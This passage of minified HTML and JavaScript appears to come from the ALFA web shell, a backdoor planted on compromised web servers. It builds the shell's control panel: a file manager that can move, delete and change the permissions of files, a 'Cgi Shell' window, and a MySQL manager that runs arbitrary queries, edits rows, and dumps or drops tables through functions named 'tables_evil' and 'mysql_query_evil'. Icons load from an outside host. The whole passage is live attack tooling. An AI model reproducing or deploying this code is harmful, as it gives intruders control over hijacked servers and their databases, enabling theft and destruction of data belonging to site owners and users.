class=\'hheader-text\'>History</div><div class=\'editor-search\'><input type=\'text\' style=\'text-align:center;\' id=\'search-input\' placeholder=\'search\'></div></div><div class=\'history-list\'></div></div><div class=\'editor-modal\'><div class=\'editor-body\'><div class=\'editor-content\'><div class=\'editor-tabs\'></div><div class=\'editor-content-holder\'></div></div></div></div></div></div>\n<div id=\'update-content\'></div>\n<div id=\'database_window-minimized\' onclick=\'showEditor(\\"database_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div class=\'minimized-text\' style=\'top: 15px;\'>Database</div></div></div>\n<div id=\'options_window-minimized\' onclick=\'showEditor(\\"options_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 4px;\' class=\'minimized-text\'>Options</div></div></div>\n<div id=\'editor-minimized\' onclick=\'showEditor(\\"editor\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 2px;\' class=\'minimized-text\'>Editor</div></div></div>\n<div id=\'cgiloader-minimized\' onclick=\'showEditor(\\"cgiloader\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 12px;\' class=\'minimized-text\'>Cgi Shell</div></div></div>\n<div id=\'rightclick_menu\'>\n  <a target=\'_blank\' href=\'\' name=\'newtab\'><img src=\\"http://solevisible.com/icons/menu/newtab.svg\\"> Open in new tab</a>\n  <a target=\'_blank\' href=\'\' name=\'link\'><img src=\\"http://solevisible.com/icons/menu/link.svg\\"> Open file directly</a>\n  <a href=\'javascript:void(0);\' name=\'download\'><img src=\\"http://solevisible.com/icons/menu/download2.svg\\"> Download</a>\n  <a href=\'\' name=\'view\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'view_archive\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View Archive</a>\n  <a href=\'\' name=\'edit\'><img src=\\"http://solevisible.com/icons/menu/edit.svg\\"> Edit</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"move\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' href=\'\' name=\'move\'><img src=\\"http://solevisible.com/icons/menu/move.svg\\"> Move</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"copy\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' name=\'copy\'><img src=\\"http://solevisible.com/icons/menu/copy.svg\\"> Copy</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"rename\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'rename\'><img src=\\"http://solevisible.com/icons/menu/rename.svg\\">  Rename</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"modify\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'modify\'><img src=\\"http://solevisible.com/icons/menu/time.svg\\">  Modify</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"permission\\");\' name=\'permission\'><img src=\\"http://solevisible.com/icons/menu/key.svg\\"> Change Permissions</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'compress\'><img src=\\"http://solevisible.com/icons/menu/resize.svg\\"> Compress</a>\n  <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'extract\'><img src=\\"http://solevisible.com/icons/menu/increase.svg\\"> Extract</a>\n  <a href=\'javascript:void(0);\' name=\'delete\'><img src=\\"http://solevisible.com/icons/menu/delete.svg\\"> Delete</a>\n</div>\n<div id=\\"filesman-tab-full-path\\"></div>\n<div id=\'alert-area\' class=\'alert-area\'></div>\n<div class=\'cl-popup-fixed\' style=\'display:none;\'>\n    <div id=\'shortcutMenu-holder\'>\n        <div class=\'popup-head\'></div>\n            <form autocomplete=\'off\' onSubmit=\'return false;\'>\n                <label class=\'old-path-lbl\'></label>\n                <div style=\'overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\' class=\'old-path-content\'></div>\n                <label style=\'margin-top:10px;\' class=\'new-filename-lbl\'>New file name</label>\n                <input type=\'text\' name=\'fname\'>\n                <div class=\'perm-table-holder\'>\n                    <table>\n                       <tbody>\n                          <tr>\n                             <td><b>Mode</b></td>\n                             <td>User</td>\n                             <td>Group</td>\n                             <td>World</td>\n                          </tr>\n                          <tr>\n                             <td>Read</td>\n                             <td><input type=\'checkbox\' name=\'ur\' value=\'4\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'gr\' value=\'4\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'wr\' value=\'4\' onclick=\'calcperm();\'></td>\n                          </tr>\n                          <tr>\n                             <td>Write</td>\n                             <td><input type=\'checkbox\' name=\'uw\' value=\'2\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'gw\' value=\'2\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'ww\' value=\'2\' onclick=\'calcperm();\'></td>\n                          </tr>\n                          <tr>\n                             <td>Execute</td>\n                             <td><input type=\'checkbox\' name=\'ux\' value=\'1\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'gx\' value=\'1\' onclick=\'calcperm();\'></td>\n                             <td><input type=\'checkbox\' name=\'wx\' value=\'1\' onclick=\'calcperm();\'></td>\n                          </tr>\n                          <tr>\n                             <td>Permission</td>\n                             <td><input style=\'width:60px;\' type=\'text\' name=\'u\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"u\\", [\\"u\\"]);\'></td>\n                             <td><input style=\'width:60px;\' type=\'text\' name=\'g\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"g\\", [\\"g\\"]);\'></td>\n                             <td><input style=\'width:60px;\' type=\'text\' name=\'w\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"w\\", [\\"w\\"]);\'></td>\n                          </tr>\n                       </tbody>\n                    </table>\n                </div>\n\n            </form>\n        <div class=\'popup-foot\'>\n            <button style=\'background: #2b5225;\' name=\'accept\' action=\'\' onclick=\'alfaPopUpDoAction(this);\'></button>\n            <button style=\'background: #9e2c2c;\' onclick=\'d.querySelector(\\".cl-popup-fixed\\").style.display=\\"none\\";\'>Cancell</button>\n        </div>\n    </div>\n</div>";?>\n<script>\nfunction alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href=\'javascript:void(0);\' onclick=\'g(\\"FilesTools\\",null,\\""+s+\'","download");\\\'><span>Download: \'+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r=\'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="\'+a+\'" placeholder="Filter Table" target=".cls-\'+i+\'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';for(var o in e)null!=e[o]&&(r+="<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'"+e[o].name+"\'>&nbsp;<a class=\'db-opt-id\' db_target=\'"+i+"\' db_id=\'"+a+"\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this, \'"+e[o].name+"\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>"+e[o].name+"</span></a>"+(l?" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+=\'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="\'+a+\'" class="db-opt-id" target=".cls-\'+i+\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="\'+a+\'" target=".cls-\'+i+\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="\'+a+\'" class="db-opt-id" db_target="\'+i+\'" target=".cls-\'+i+\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style=\'padding-left: 50px;\'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style=\'padding-left: 50px;\'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name=\'"+e.columns[u].name+"\'><option value=\'=\'>=</option><option value=\'!=\'>!=</option><option value=\'>\'>&gt;</option><option value=\'>=\'>&gt;=</option><option value=\'<\'>&lt;</option><option value=\'<=\'>&lt;=</option><option value=\\"= \'\'\\">= \'\'</option><option value=\\"!= \'\'\\">!= \'\'</option><option value=\'LIKE\'>LIKE</option><option value=\'LIKE %...%\'>LIKE %...%</option><option value=\'NOT LIKE\'>NOT LIKE</option><option value=\'REGEXP\'>REGEXP</option><option value=\'REGEXP ^...$\'>REGEXP ^...$</option><option value=\'NOT REGEXP\'>NOT REGEXP</option><option value=\'IN (...)\'>IN (...)</option><option value=\'NOT IN (...)\'>NOT IN (...)</option><option value=\'BETWEEN\'>BETWEEN</option><option value=\'NOT BETWEEN\'>NOT BETWEEN</option><option value=\'IS NULL\'>IS NULL</option><option value=\'IS NOT NULL\'>IS NOT NULL</option></select></td><td><input type=\'"+p+"\' name=\'"+e.columns[u].name+"\'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td><select name=\'sel_"+e.columns[u].name+"\'>"+f+"</select></td><td><input name=\'value_"+e.columns[u].name+"\' type=\'text\' value=\'"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"\'></td><td><button col_name=\'"+e.columns[u].name+"\' tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlAlterTbl(this);return false;\'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name=\'"+e.columns[u].name+"\' rows=\'5\'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type=\'number\' name=\'"+e.columns[u].name+"\' value=\'\'>";break;default:m="<input type=\'text\' name=\'"+e.columns[u].name+"\' value=\'\'>"}r+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style=\'margin-left:20px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"insert\\");return false;\'>Insert</button></div><div class=\'mysql-insert-result\'></div>",o+="</table><div class=\'mysql-structure-qres\'></div>",n+="</table><div style=\'padding-left: 384px;margin-top: 15px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlSearch(this);return false;\'>Search</button></div>",e.pages>0){l+="<span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,1);\'><<</span> <span> page: </span> <select tbl_name=\'"+t+"\' db_target=\'"+a+"\' name=\'mysql-q-pages\' db_id=\'"+i+"\' class=\'db-opt-id\' onchange=\'alfaMysqlChangePage(this);\' pages=\'"+e.pages+"\'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,2);\'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name=\'"+e[c].col+"\' rows=\'5\'>"+e[c].value+"</textarea>";break;case"input":u="<input type=\'"+e[c].type.type+"\' name=\'"+e[c].col+"\' value=\'"+e[c].value+"\'>"}s+="<tr><th style=\'text-align: left;\'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style=\'margin-left:20px;\'><button col_key=\'"+l+"\' key=\'"+r+"\' tbl_name=\'"+o+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"edit\\");return false;\'>Update</button></div><div class=\'mysql-update-result\'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+=\'<optgroup label="\'+t[l].key+\'">\',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw\'"msg parameter is empty"\';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" 